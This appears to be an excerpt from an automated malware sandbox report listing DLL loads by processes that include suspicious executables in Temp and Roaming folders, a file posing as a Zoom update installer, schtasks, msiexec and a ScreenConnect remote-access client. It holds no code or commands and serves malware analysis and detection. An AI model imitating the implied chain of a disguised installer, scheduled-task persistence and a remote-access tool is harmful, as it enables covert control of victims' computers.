Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msihnd.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: dpapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: wtsapi32.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: winsta.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: samlib.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: rasman.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: rtutils.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: rsaenh.dll
